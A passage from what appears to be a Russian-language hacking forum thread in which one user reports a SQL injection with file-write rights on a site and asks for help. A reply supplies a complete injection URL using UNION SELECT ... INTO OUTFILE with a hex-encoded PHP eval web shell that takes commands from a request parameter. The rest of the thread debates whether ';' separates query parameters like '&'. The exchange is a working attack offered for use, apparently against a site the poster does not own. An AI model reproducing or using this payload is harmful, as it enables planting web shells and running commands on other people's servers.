Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|
03.03.2012, 13:14
|
|
Постоянный
Регистрация: 10.02.2012
Сообщений: 830
С нами:
7502006
Репутация:
90
|
|
bodrich
Запись вообще в файл происходит? Что записывается? Возможно фильтр стоит на какие нибудь символы "<>$[]"
|
|
|
03.03.2012, 14:28
|
|
Познающий
Регистрация: 06.03.2007
Сообщений: 59
С нами:
10095779
Репутация:
137
|
|
Сообщение от bodrich
Есть инъекция на сайте, file_priv = Y, mg = off. Нашел папку с правами на запись.
Вот так:
Вот так работает, а вот так нет
В чем может быть проблема ?
свой бек надо в хекс засунуть, т.е место
Сообщение от None
http://site.ru/s.php?pid=25171-11111.1'))+union+select+1,'',3,4,5,6,7,8,9,10,11,1 2,13+from+mysql.user+into+o utfile+'/tmp/test.php'--+
сделай так:
Сообщение от None
http://site.ru/s.php?pid=25171-11111.1'))+union+select+1,0x3c3f706870206576616c28 245f524551554553545b636d645d293b203f3e,3,4,5,6,7,8 ,9,10,11,12,13+from+mysql.user+into+o utfile+'/tmp/test.php'--+
|
|
|
|
03.03.2012, 14:56
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Символ ; в GET-запросе является разделителем параметров аналогично символу &.
Не '', а ''
|
|
|
|
03.03.2012, 15:19
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
Сообщение от M_script
Символ
;
в GET-запросе является разделителем параметров аналогично символу
&
.
Не '', а ''
Осмелюсь не согласится, в адресной строке разделитель только и только амперсанд (&)
|
|
|
|
03.03.2012, 15:21
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
Сообщение от Expl0ited
Осмелюсь не согласится, в адресной строке разделитель только и только амперсанд (&)
Согласен. Он наверно имел ввиду SMF.
|
|
|
|
03.03.2012, 15:30
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Expl0ited, пруф - http://en.wikipedia.org/wiki/URI_scheme
The query is an optional part, separated by a question mark ("?"), that contains additional identification information that is not hierarchical in nature. The query string syntax is not generically defined, but it is commonly organized as a sequence of = pairs, with the pairs separated by a semicolon or an ampersand. For example:
Semicolon: key1=value1;key2=value2;key3=value3
Ampersand: key1=value1&key2=value2&key3=value3
http://tools.ietf.org/html/rfc1866
Сообщение от None
HTTP server implementors, and in particular, CGI implementors are encouraged to support the use of `;' in place of `&' to save users the trouble of escaping `&' characters this way.
|
|
|
|
03.03.2012, 15:32
|
|
Постоянный
Регистрация: 01.12.2011
Сообщений: 560
С нами:
7604246
Репутация:
267
|
|
http://forum.antichat.net/view_reputation.php?userid=1845&p=3046274&count=50 00
http://forum.antichat.net/view_reputation.php?userid=1845&p=3046274;count=50 00
|
|
|
|
03.03.2012, 15:34
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
Ereee, никто не говорил, что на всех серверах.
|
|
|
|
03.03.2012, 15:40
|
|
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами:
8328566
Репутация:
935
|
|
M_script, можно живой пример Веб-сервера в котором действительно http распознает в адресной строке символ ; за разделитель?
Насколько мне известно apache, nginx, iis, zeus, lighthttpd распознают & как разделитель и ; как обычный символ.
|
|
|
|
03.03.2012, 15:48
|
|
Новичок
Регистрация: 04.11.2004
Сообщений: 5
С нами:
11322426
Репутация:
0
|
|
http://auto.mail.ru/article.html?id=111
http://auto.mail.ru/article.html?a=b&id=111
http://auto.mail.ru/article.html?a=b;id=111
Этого хватит? )
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|
Похожие темы
Линейный вид
